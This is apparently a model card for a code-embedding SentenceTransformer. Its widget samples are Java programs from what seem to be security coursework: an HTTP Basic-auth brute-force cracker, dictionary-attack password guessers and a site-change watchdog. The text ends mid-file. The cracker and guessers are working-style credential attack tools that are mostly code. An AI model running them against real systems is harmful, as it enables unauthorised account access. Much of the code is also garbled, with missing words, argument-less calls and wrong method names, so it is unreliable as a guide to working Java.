buelfhood's picture
Add new SentenceTransformer model
36b424a verified
metadata
tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - generated_from_trainer
  - dataset_size:33411
  - loss:BatchAllTripletLoss
base_model: microsoft/graphcodebert-base
widget:
  - source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\nimport java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce {\n    \n    \n    \n    public static String Base64Encode(String s) {\n        byte[] bb = s.getBytes();\n        byte[] b  = bb;\n        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n        '0','1','2','3','4','5','6','7','8','9','+','/' };\n        if (bb.length % 3!=0) {\n            int x1 = bb.length;\n            \n            b = new byte[(x1/3+1)*3];\n            int x2 = b.length;\n            \n            for(int i=0;i<x1;i++)\n                b[i] = bb[i];\n            for(int i=x1;i<x2;i++)\n                b[i] = 0;\n        }\n        \n        char[] c = new char[b.length/3*4];\n        \n        int i=0, j=0;\n        while (i+3<=b.length) {\n            c[j]     = table[(b[i]   >>  2)];\n            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];\n            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];\n            c[j+3]   = table[(b[i+2] &  63)];\n            i+=3;\n            j+=4;\n        }\n        \n        j = c.length-1;\n        while (c[j]=='A') {\n            c[j]='=';\n            j--;\n        }\n        \n        return String.valueOf(c);\n    }\n    \n    \n    public synchronized void getAccumulatedLocalAttempt() {\n        attempt = 0;\n        for (int i=0;i<MAXTHREAD;i++) {\n            attempt += threads[i].getLocalAttempt();\n        }\n    }\n    \n    \n    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n        DecimalFormat fmt = new DecimalFormat();\n        fmt.applyPattern(\"0.00\");\n        \n        System.out.println();\n        System.out.println(\" ------------------------ [ CURRENT STATISTICS ] ---------------------------\");\n        System.out.println();\n        System.out.println(\"  Current connections   : \"+curconn);\n        System.out.println(\"  Current progress      : \"+attempt+ \" of \"+ALLCOMBI+\" (\"+currprogress+\"%)\");\n        System.out.println(\"  Overall Attempts rate : \"+ovrl+\" attempts  second (approx.)\");\n        System.out.println();\n        System.out.println(\" ---------------------------------------------------------------------------\");\n        System.out.println();\n    }\n    \n    \n    public class MyTT extends TimerTask {\n        \n        public synchronized void run() {\n            \n            \n            if (count==REPORT_INTERVAL) {\n                \n                DecimalFormat fmt = new DecimalFormat();\n                fmt.applyPattern(\"0.00\");\n                \n                \n                getAccumulatedLocalAttempt();\n                double p = (double)attempt/(double)ALLCOMBI*100;\n                \n                \n                double aps = (double) (attempt - attm) / REPORT_INTERVAL;\n                \n                \n                attmArr[attmArrIdx++] = aps;\n                \n                \n                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n                count = 0;\n            } else\n                \n                if (count==0) {\n                    getAccumulatedLocalAttempt();\n                    attm = attempt;\n                    count++;\n                } else {\n                    count++;\n                }\n        }\n        \n        \n        public synchronized double getOverallAttemptPerSec() {\n            double val = 0;\n            for (int i=0;i<attmArrIdx;i++) {\n                 val+= attmArr[i];\n            }\n            return val / attmArrIdx;\n        }\n        \n        private int      count = 0;\n        private   int   attm;\n        private int      attmArrIdx = 0;\n        private double[] attmArr = new double[2*60*60/10]; \n    }\n    \n    \n    public synchronized void interruptAll(int ID) {\n        for (int i=0;i<MAXTHREAD;i++) {\n            if ((threads[i].isAlive()) && (i!=ID)) {\n                threads[i].interrupt();\n            }\n            notifyAll();\n        }\n    }\n    \n    \n    \n    public synchronized void setSuccess(int ID, String p) {\n        passw   = p;\n        success = ID;\n        notifyAll();\n        interruptAll(ID);\n        \n        \n        end = System.currentTimeMillis();\n    }\n    \n    \n    public synchronized boolean isSuccess() {\n        return (success>=0);\n    }\n    \n    \n    \n    public synchronized void waitUntilAllTerminated() {\n        while (curconn>0) {\n            try {\n                wait();\n            } catch (InterruptedException e) {}\n        }\n    }\n    \n    \n    \n    \n    public synchronized int waitUntilOK2Connect() {\n        boolean interruptd= false;\n        int idx = -1;\n        \n        \n        \n        \n        while (curconn>=MAXCONN) {\n            try {\n                wait();\n            } catch (InterruptedException e) { interruptd = true; }\n        }\n        \n        \n        \n        if (!interruptd) {\n            \n            curconn++;\n            for (idx=0;idx<MAXCONN;idx++)\n                if (!connused[idx]) {\n                    connused[idx] = true;\n                    break;\n                }\n            \n            notifyAll();\n        }\n        \n        \n        return idx;\n    }\n    \n    \n    public synchronized void decreaseConn(int idx) {\n        curconn--;\n        connused[idx] = false;\n        \n        \n        notifyAll();\n    }\n    \n    \n    public class ThCrack extends Thread {\n        \n        \n        public ThCrack(int threadID, int startidx, int endidx) {\n            super(\" Thread #\"+String.valueOf(threadID)+\": \");\n            this.ID       = threadID;\n            this.startidx = startidx;\n            this.endidx   = endidx;\n            \n            setDaemon(true);\n        }\n        \n        \n        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {\n            int i ;\n            String msg;\n            \n            \n            URL tryURL = new URL(THEURL);\n            \n            \n            connections[connID]=(HttpURLConnection) tryURL.openConnection();\n            \n            \n            connections[connID].setRequestProperty(\"Authorization\",\" \"+Base64Encode(USERNAME+\":\"+thePass));\n            \n            \n            i = connections[connID].getResponseCode();\n            msg  = connections[connID].getResponseMessage();\n            connections[connID].disconnect();\n            \n            \n            if (i==HttpURLConnection.HTTP_OK) {\n                \n                System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"-\"+msg+\").\");\n                setSuccess(this.ID,thePass);\n                return (true);\n            } else {\n                \n                System.out.println(ID+\"Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n                return (false);\n            }\n        }\n        \n        \n        public void rest(int msec) {\n            try { sleep(msec); } catch (InterruptedException e) {}\n        }\n        \n        \n        \n        public String constructPassword( int idx) {\n            int     i = idxLimit.length-2;\n            boolean processed = false;\n             \n            String result = \"\";\n            while (i>=0) {\n                if (idx>=idxLimit[i]) {\n                    int nchar = i + 1;\n                    idx-=idxLimit[i];\n                    for (int j=0;j<nchar;j++) {\n                        x = (idx % NCHAR);\n                        result = charset.charAt((int) x) + result;\n                        idx /= NCHAR;\n                    }\n                    break;\n                }\n                i--;\n            }\n            \n            return result;\n        }\n        \n        \n        public String getStartStr() {\n            return constructPassword(this.startidx);\n        }\n        \n        \n        public String getEndStr() {\n            return constructPassword(this.endidx);\n        }\n        \n        \n        public void run() {\n             i = startidx;\n            boolean keeprunning = true;\n            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {\n                \n                \n                int idx = waitUntilOK2Connect();\n                \n                \n                if (idx==-1) {\n                    \n                    break;\n                }\n                \n                try {\n                    \n                    launchRequest(getName(), idx, constructPassword(i));\n                    \n                    decreaseConn(idx);\n                    \n                    localattempt++;\n                    \n                    \n                    rest(MAXCONN);\n                    i++;\n                } catch (InterruptedException e) {\n                    \n                    \n                    keeprunning = false;\n                    break;\n                } catch (IOException e) {\n                    \n                    \n                    \n                    \n                    \n                    decreaseConn(idx);\n                }\n            }\n            \n            \n            if (success==this.ID) {\n                waitUntilAllTerminated();\n            }\n        }\n        \n        \n        public int getLocalAttempt() {\n            return localattempt;\n        }\n        \n        private int startidx,endidx;\n        private int ID;\n        private int localattempt = 0;\n    }\n    \n    \n    public void printProgramHeader(String mode,int nThread) {\n        System.out.println();\n        System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************\");\n        System.out.println();\n        System.out.println(\"  URL         : \"+THEURL);\n        System.out.println(\"  Crack Mode  : \"+mode);\n        System.out.println(\"  Characters  : \"+charset);\n        System.out.println(\"  . Char   : \"+MINCHAR);\n        System.out.println(\"  . Char   : \"+MAXCHAR);\n        System.out.println(\"  # of Thread : \"+nThread);\n        System.out.println(\"  Connections : \"+MAXCONN);\n        System.out.println(\"  All Combi.  : \"+ALLCOMBI);\n        System.out.println();\n        System.out.println(\" ***************************************************************************\");\n        System.out.println();\n    }\n    \n    \n    public void startNaiveCracking() {\n        MAXTHREAD = 1;\n        MAXCONN   = 1;\n        startDistCracking();\n    }\n    \n    \n    public void startDistCracking() {\n         int startidx,endidx;\n        int   thcount;\n        \n        \n        if (isenhanced) {\n            printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n        } else {\n            printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n        }\n        \n        \n        i = System.currentTimeMillis();\n        \n         idxstart = idxLimit[MINCHAR-1];\n        \n        \n        \n        \n        \n        \n        if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n         mult = (ALLCOMBI - idxstart) / MAXTHREAD;\n        \n        \n        \n        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {\n            startidx = thcount*mult + idxstart;\n            endidx   = (thcount+1)*mult-1 + idxstart;\n            threads[thcount] = new ThCrack(thcount, startidx, endidx);\n            System.out.println(threads[thcount].getName()+\" try  crack from '\"+threads[thcount].getStartStr()+\"'  '\"+threads[thcount].getEndStr()+\"'\");\n        }\n        \n        \n        \n        \n        \n        startidx = (MAXTHREAD-1)*mult + idxstart;\n        endidx   = ALLCOMBI-1;\n        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);\n        System.out.println(threads[MAXTHREAD-1].getName()+\" try  crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"'  '\"+threads[MAXTHREAD-1].getEndStr()+\"'\");\n        \n        System.out.println();\n        System.out.println(\" ***************************************************************************\");\n        System.out.println();\n        \n        \n        for (int i=0;i<MAXTHREAD;i++)\n            threads[i].print();\n    }\n    \n    \n    public BruteForce() {\n        \n        if (isenhanced) {\n            startDistCracking();\n        } else {\n            startNaiveCracking();\n        }\n        \n        \n        reportTimer  = new java.util.Timer();\n        MyTT      tt = new MyTT();\n        reportTimer.schedule(tt,1000,1000);\n        \n        \n        while ((success==-1) && (attempt<ALLCOMBI)) {\n            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }\n        }\n        \n        \n        if (success==-1) {\n            end = System.currentTimeMillis();\n        }\n        \n        \n        getAccumulatedLocalAttempt();\n        \n        double ovAps = tt.getOverallAttemptPerSec();\n        DecimalFormat fmt = new DecimalFormat();\n        fmt.applyPattern(\"0.00\");\n        \n        \n        reportTimer.cancel();\n        \n        \n        try { Thread.sleep(1000); } catch (InterruptedException e) {  }\n        \n        \n        synchronized (this) {\n            if (success>=0) {\n                System.out.println();\n                System.out.println(\" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************\");\n                System.out.println();\n                System.out.println(\"  The password is     : \"+passw);\n                System.out.println(\"  Number of attempts  : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n                System.out.println(\"  Attempt position    : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n                System.out.println(\"  Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n                System.out.println(\"  Cracking time       : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n                System.out.println(\"  Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+ \" seconds\");\n                System.out.println();\n                System.out.println(\" ***************************************************************************\");\n                System.out.println();\n            } else {\n                System.out.println();\n                System.out.println(\" ********************* [ UNABLE  CRACK THE URL !!! ] *********************\");\n                System.out.println();\n                System.out.println(\"  Number of attempts  : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n                System.out.println(\"  Attempt position    : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n                System.out.println(\"  Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n                System.out.println(\"  Cracking time       : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n                System.out.println();\n                System.out.println(\" ***************************************************************************\");\n                System.out.println();\n            }\n        }\n    }\n    \n    \n    public static void printSyntax() {\n        System.out.println();\n        System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] [] [username]\");\n        System.out.println();\n        System.out.println(\"   mode     : (opt) 0 - NAIVE Brute force mode\");\n        System.out.println(\"                        (trying from the first  the last combinations)\");\n        System.out.println(\"                    1 - ENHANCED Brute force mode\");\n        System.out.println(\"                        (dividing cracking jobs  multiple threads) (default)\");\n        System.out.println(\"   URL      : (opt) the URL  crack \");\n        System.out.println(\"                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n        System.out.println(\"   charset  : (optional) the character set used  crack.\");\n        System.out.println(\"              - (default)\");\n        System.out.println(\"                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n        System.out.println(\"              -alphanum       \");\n        System.out.println(\"                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n        System.out.println(\"              -alphalow       \");\n        System.out.println(\"                 abcdefghijklmnopqrstuvwxyz\");\n        System.out.println(\"              -alphaup        \");\n        System.out.println(\"                 ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n        System.out.println(\"              -number         \");\n        System.out.println(\"                 1234567890\");\n        System.out.println(\"               [custom] e.g. aAbB123\");\n        System.out.println(\"   ,  : (optional) range of characters   applied in the cracking\");\n        System.out.println(\"                         where  1   <=  <= 10  (default  = 1)\");\n        System.out.println(\"                                 <=  <= 10  (default  = 3)\");\n        System.out.println(\"   username : (optional) the username that is used  crack\");\n        System.out.println();\n        System.out.println(\"   NOTE: The optional parameters 'charset','','', and 'username'\");\n        System.out.println(\"         have   specified altogether  none at all.\");\n        System.out.println(\"         For example, if [charset] is specified, then [], [], and\");\n        System.out.println(\"         [username] have   specified as well. If none of them  specified,\");\n        System.out.println(\"         default values   used.\");\n        System.out.println();\n        System.out.println(\"   Example of invocation :\");\n        System.out.println(\"         java BruteForce \");\n        System.out.println(\"         java BruteForce 0\");\n        System.out.println(\"         java BruteForce 1 http://localhost/tryme.php\");\n        System.out.println(\"         java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n        System.out.println(\"         java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n        System.out.println();\n        System.out.println();\n    }\n    \n    \n    \n    \n    \n    \n    \n    \n    public static void countIdxLimit() {\n        idxLimit = new int[MAXCHAR+1];\n        \n        NCHAR    = charset.length();\n        ALLCOMBI = 0;\n        for (int i=0;i<=MAXCHAR;i++) {\n            if (i==0) {\n                idxLimit[i] = 0;\n            } else {\n                idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n            }\n        }\n        \n        ALLCOMBI = idxLimit[idxLimit.length-1];\n    }\n    \n    \n    public static void paramCheck(String[] args) {\n        int argc = args.length;\n        \n        \n        try {\n            switch (Integer.valueOf(args[0]).intValue()) {\n                case 0: {\n                    isenhanced = false;\n                } break;\n               case  1: {\n                    isenhanced = true;\n                } break;\n                default:\n                    System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n                    printSyntax();\n                    System.exit(1);\n            }\n        } catch (NumberFormatException e) {\n            System.out.println(\"Syntax error : invalid number '\"+args[0]+\"'\");\n            printSyntax();\n            System.exit(1);\n        }\n        \n        if (argc>1) {\n            try {\n                \n                URL u  = new URL(args[1]);\n                \n                \n                try {\n                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n                    \n                    switch (conn.getResponseCode()) {\n                        case HttpURLConnection.HTTP_ACCEPTED:\n                       case  HttpURLConnection.HTTP_OK:\n                       case  HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n                       case  HttpURLConnection.HTTP_FORBIDDEN:\n                       case  HttpURLConnection.HTTP_UNAUTHORIZED:\n                            break;\n                        default:\n                            \n                            \n                            System.out.println(\"Unable  open connection  the URL '\"+args[1]+\"'\");\n                            System.exit(1);\n                    }\n                } catch (IOException e) {\n                    System.out.println(e);\n                    System.exit(1);\n                }\n                \n                THEURL = args[1];\n            } catch (MalformedURLException e) {\n                \n                System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n                printSyntax();\n                System.exit(1);\n            }\n        }\n        \n        \n        if (argc==6) {\n            try {\n                MINCHAR = Integer.valueOf(args[3]).intValue();\n            } catch (NumberFormatException e) {\n                System.out.println(\"Invalid  range number value '\"+args[3]+\"'\");\n                printSyntax();\n                System.exit(1);\n            }\n            \n            try {\n                MAXCHAR = Integer.valueOf(args[4]).intValue();\n            } catch (NumberFormatException e) {\n                System.out.println(\"Invalid  range number value '\"+args[4]+\"'\");\n                printSyntax();\n                System.exit(1);\n            }\n            \n            if ((MINCHAR<1) || (MINCHAR>10)) {\n                System.out.println(\"Invalid  range number value '\"+args[3]+\"' (must between 0 and 10)\");\n                printSyntax();\n                System.exit(1);\n            } else\n                if (MINCHAR>MAXCHAR) {\n                    System.out.println(\"Invalid  range number value '\"+args[3]+\"' (must lower than the  value)\");\n                    printSyntax();\n                    System.exit(1);\n                }\n            \n            if (MAXCHAR>10) {\n                System.out.println(\"Invalid  range number value '\"+args[4]+\"' (must between  value and 10)\");\n                printSyntax();\n                System.exit(1);\n            }\n            \n            if (args[2].toLowerCase().equals(\"-\")) {\n                charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n            } else\n                if (args[2].toLowerCase().equals(\"-alphanum\")) {\n                    charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n                } else\n                    if (args[2].toLowerCase().equals(\"-alphalow\")) {\n                        charset = \"abcdefghijklmnopqrstuvwxyz\";\n                    } else\n                        if (args[2].toLowerCase().equals(\"-alphaup\")) {\n                            charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n                        } else\n                            if (args[2].toLowerCase().equals(\"-number\")) {\n                                charset = \"1234567890\";\n                            } else {\n                                charset = args[2];\n                            }\n            \n            USERNAME = args[5];\n        } else\n            if ((argc>2) && (argc<6)) {\n                System.out.println(\"Please specify the [charset], [], [], and [username] altogether  none at all\");\n                printSyntax();\n                System.exit(1);\n            } else\n                if ((argc>2) && (argc>6)) {\n                    System.out.println(\"The number of parameters expected is not more than 6. \");\n                    System.out.println(\" have specified more than 6 parameters.\");\n                    printSyntax();\n                    System.exit(1);\n                }\n    }\n    \n    public static void main (String[] args) {\n        \n        charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n        MINCHAR = 1;\n        MAXCHAR = 3;\n        \n        \n        if (args.length==0) {\n            args    = new String[6];\n            args[0] = String.valueOf(1); \n            args[1] = THEURL;\n            args[2] = \"-\";\n            args[3] = String.valueOf(MINCHAR);\n            args[4] = String.valueOf(MAXCHAR);\n            args[5] = USERNAME;\n        }\n        \n        \n        paramCheck(args);\n        \n        countIdxLimit();\n        \n        \n        Application = new BruteForce();\n    }\n    \n    public static BruteForce Application;\n    public static String    THEURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n    public static boolean   isenhanced; \n    public static String    passw  = \"\";   \n    \n    public static final int REPORT_INTERVAL = 10; \n    public static int       MAXTHREAD =  50;      \n    public static int       MAXCONN   =  50;      \n    public static int\t    curconn   =   0;      \n    public static int       success   =  -1;      \n    \n    public static String    USERNAME = \"\";  \n    public static int       MINCHAR;              \n    public static int       MAXCHAR;              \n    public static  int     ALLCOMBI;             \n    \n    public static   int start   ,end;            \n    \n    \n    public static java.util.Timer   reportTimer; \n    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; \n    public static boolean\t    connused[]    = new boolean[MAXCONN];           \n    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         \n    public static    int   attempt               = 0; \n    public static int    idxLimit; \n    public static String    charset;  \n    public static int       NCHAR;    \n}\n"
    sentences:
      - |

        import java.util.*;

        public class Dictionary {

            private String strUsername;
            private String strURL;
            
            
            public Dictionary(String username, String url)
            {
                strUsername = username;
                strURL = url;
            }    
            
            public void run() {
                Date dtStart, dtEnd;
                
                PasswordFile pwd = new PasswordFile("/usr/dict/words");
                PasswordTest tester;
                int i=1;
                boolean bDone = false;
                Result res;

                dtStart = new Date();
                while(!bDone) {
                    tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
                
                    bDone = tester;
                    i++;
                    if(bDone) {
                        
                        res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
                        System.out.print(res.toString());
                    }
                    else
                    {
                        
                    }
                    
                    
                    if(pwd.getPassword() == null)
                    {
                        System.out.println("Exhausted word file without finding password");
                        bDone = true;
                    }
                }    
             
            }    
            
            
            public static void main(String[] args) {
                
                
                
                
                Dictionary dict = new Dictionary("", "http://sec-crack.cs.rmit.edu./SEC/2/");
                     
                dict.run();
            }
            
        }
      - "\n\nimport java.text.*;  \nimport java.util.*;  \nimport java.net.*;  \nimport java.io.*;  \n\npublic class Dictionary {  \n\n   public int runProcess(String urlString,String passwd) {  \n\n       System.out.println(\"Checking password: ... \" + passwd);\n\n       int returnval = 0;\n       MyAuthenticator auth = new MyAuthenticator(passwd);\n       Authenticator.setDefault(auth);\n\n       try{\n\n            URL yahoo = new URL(urlString); \n            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n            String inputLine;\n\n            while ((inputLine = in.readLine()) != null) {\n\t       System.out.println(inputLine);\n\t       System.out.println(\"password: \" + passwd);\n               returnval = 1;\n            }\n\n\t    in.print();\n\n          }catch(Exception e){ returnval = 0;}\n\n       return returnval;\n   }\n\n   public static void main (String argv[]) {  \n\n      int retval = 0;\n      String pwd = \"\";\n      String inFile = \"/usr/share/lib/dict/words\";\n      BufferedReader in = null;\n      String line1 =\"\";\n\n      try {\n      \n        Dictionary s = new Dictionary();  \n        String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n        in = new BufferedReader(new FileReader(inFile));   \n\n        while ((line1=in.readLine()) != null) {\n\n          retval = 0;\n          pwd = line1;\n          retval = s.runProcess(urlToSearch,pwd);  \n          if (retval > 0) {\n             System.exit(0);\n          }\n        }\n      }catch(Exception e)\n          { e.printStackTrace();}\n    \n    }  \n}     \n"
      - |



        import java.io.*;
        import java.util.*;
        import java.*;
        import java.net.*;

        public class WatchDog
        {

           static Process p = null;
           static Process qproc = null;

           static BufferedReader bf = null;
           static StringTokenizer tok = null;

           static String Path = null;
           static String str = null;
           static String urlStr=null;
           static boolean changed = false;

           static File indexfile = new File("index.html");
           static File tmpfile = new File("tmpindex.html");
           static File mdfile = new File("md5file.txt");
           static File tmpmdfile = new File("tmpmd5file.txt");
           static PrintWriter mailwriter = null;


           public static void main (String[] args) 
           {

              urlStr = "http://www.cs.rmit.edu./";

              try
              {
                 
                 mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));

                 getLatest(urlStr);
                 parseFile(); 

                 mailwriter.read();

                 if(changed)
                 {
                    System.out.println("Sending Mail");
                    p = Runtime.getRuntime().exec("./mailscript");
                    p.waitFor();

                 }
                 else
                    System.out.println(" mail sent");

              }  catch (IOException ioe)
                 {
                    System.out.println("IOException");
                    ioe.printStackTrace();
                 }
                 catch (InterruptedException intex)
                 {
                    System.out.println("Interrupted Exception");
                    intex.printStackTrace();
                 }


           }


           static void getLatest(String urlStr)
           { 
              
              URL url = null;
              
              try
              {
                 url = new URL(urlStr);

              } catch (MalformedURLException mfurl)
                {
                   System.out.println("Malformed URL");
                   mfurl.printStackTrace();
                }

              try
              {
                 mailwriter.println();

                 p = Runtime.getRuntime().exec("/usr//pwd"); 
                 p.waitFor();
                 bf= new BufferedReader(new InputStreamReader(
                                  p.getInputStream()));

                 Path=bf.readLine();

                 if (indexfile.exists())
                 {
                    mailwriter.println("File with name 'index.html' found in directory.");
                    mailwriter.println("Renaming existing 'index.html'  'tmpindex.html...");
                    p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
                    p.waitFor();
                    p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
                    mailwriter.println();
                    mailwriter.println("File with name 'md5file.txt' found in directory.");
                    mailwriter.print("Renaming existing 'md5file.txt'  'tmpmd5file.txt...");

                    mailwriter.println(".");

                    mailwriter.println();
                 }

                 mailwriter.println("Downloading current version of site - " + urlStr);
                 p = Runtime.getRuntime().exec("/usr/local//wget "+url);
                 p.waitFor();
                 if (!tmpfile.exists())
                 {
                    mailwriter.println("File - " + urlStr + "index.html saved  disk for the first time.");
                 }


              } catch (IOException ioe)
                {
                   System.out.println("IOException");
                   ioe.printStackTrace();
                }
                catch (IndexOutOfBoundsException iobe)
                {
                   System.out.println("Index Out Of Bounds Exception");
                   iobe.printStackTrace();
                }
                catch (Exception e)
                {
                   System.out.println("Exception");
                   e.printStackTrace();
                }
           }

           static void parseFile()
           {

              Vector imgVect = new Vector();

              try
              {
                 p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
                 p.waitFor();
                bf = new BufferedReader(new InputStreamReader(
                                  p.getInputStream()));

                 while((str=bf.readLine())!=null)
                 {
                    bf = new StringTokenizer(str, "\"", false);
                  
                    while(bf.hasMoreTokens())
                    {
                       str=bf.nextToken();
                       if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
                          imgVect.addElement(str);
                    }
                   
                 }

              }catch (IOException ioe)
                {
                   System.out.println("IOException");
                   ioe.printStackTrace();
                }
                catch (Exception e)
                {
                   System.out.println("Exception");
                   e.printStackTrace();
                }

                mailwriter.println("Creating file with md5sums of the webpage and images...");
                md5Create(imgVect);

           }

           static void md5Create(Vector imgVect)
           {
              String tmpString = null;
              Vector imgNames = new Vector();

              try
              {
                 PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
         
                 p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
                 p.waitFor();
                 bf= new BufferedReader(new InputStreamReader(
                                  p.getInputStream()));
                 pr.println(bf.readLine());
           
                 for(int i=0; i<imgVect.size();i++)
                 {
                    imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
                    imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);

                    p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
                    p.waitFor();
                    bf= new BufferedReader(new InputStreamReader(
                                  p.getInputStream()));
                    pr.println(bf.readLine());
                    rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
                 }
                 pr.get();

              }  catch (IOException ioe)
                 {
                    System.out.println("IOException");
                    ioe.printStackTrace();
                 }
                 catch (InterruptedException intex)
                 {
                    System.out.println("Interrupted Exception");
                    intex.printStackTrace();
                 }

              if (tmpmdfile.exists())
                 compVersions((imgVect.size())+1);

           }

           static void compVersions(int numlines)
           {

              int tmp = 0;
              int x = 0;
              String[] md5A = new String[numlines];
              Vector tmpmd5V = new Vector(); 
                                             
                                             
              String[] tmpmd5A = null;
              StringTokenizer stoken  = null;
              String mdImgName = null;
              String mdImgVal = null;
              String tmpImgName = null;
              String tmpImgVal = null;

              try
              {

                 bf = new BufferedReader(new FileReader(mdfile));

                 while((str = bf.readLine()) != null)
                 {
                    md5A[tmp]=str;
                    tmp++;
                 }

                 bf = new BufferedReader(new FileReader(tmpmdfile));
                 tmp=0;

                 while ((str = bf.readLine()) !=null)
                 {
                    tmpmd5V.addElement(str);
                    tmp++;
                 }

                 tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   

                 if (tmpmd5A[0].compareTo(md5A[0]) != 0)
                 {
                    mailwriter.println("---The file index.html has changed.---");
                    mailwriter.println("-Diff of old and new -");
                    changed=true;
                    mailwriter.println();
                    p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
                    p.waitFor();
                     bf= new BufferedReader(new InputStreamReader(p.getInputStream()));

                    while ((str = bf.readLine()) != null)
                       mailwriter.println(str);

                 }
                 else
                 {
                    mailwriter.println("The file index.html hasn't changed.");
                    mailwriter.println();
                 }

                 mailwriter.println();
                 mailwriter.println("Changes  Images");
                 mailwriter.println("-----------------");


                 

                 for (tmp=1; tmp<md5A.length; tmp++) 
                 {
                    stoken = new StringTokenizer(md5A[tmp]);
                    mdImgVal = stoken.nextToken();
                    mdImgName = stoken.nextToken();
                    for (x=1; x<tmpmd5A.length; x++)
                    {
                       stoken = new StringTokenizer(tmpmd5A[x]);
                       tmpImgVal = stoken.nextToken();
                       tmpImgName = stoken.nextToken();

                       if (mdImgName.compareTo(tmpImgName) == 0)
                       {
                          if(mdImgVal.compareTo(tmpImgVal) == 0)
                          {
                             
                             break;
                          }
                          else
                          {
                             mailwriter.println("The image "+mdImgName+" has changed.");
                             changed=true;
                             break;
                          }
                       }
                       if (x == ((tmpmd5A.length)-1))
                       {
                          mailwriter.println("The image "+mdImgName+" is  new  this ");
                          changed=true;
                       }
                    }
                 }

                 for (tmp=1; tmp<tmpmd5A.length; tmp++) 
                 {
                    stoken = new StringTokenizer(tmpmd5A[tmp]);
                    tmpImgVal = stoken.nextToken();
                    tmpImgName = stoken.nextToken();
                    for (x=1; x<md5A.length; x++)
                    {
                       stoken = new StringTokenizer(md5A[x]);
                       mdImgVal = stoken.nextToken();
                       mdImgName = stoken.nextToken();
                       if (tmpImgName.compareTo(mdImgName) == 0)
                       {
                          break;
                       }
                       if (x == ((md5A.length)-1))
                       {
                          mailwriter.println("The image "+tmpImgName+" is   longer  the ");
                          changed=true;
                       }
                    }
                 }


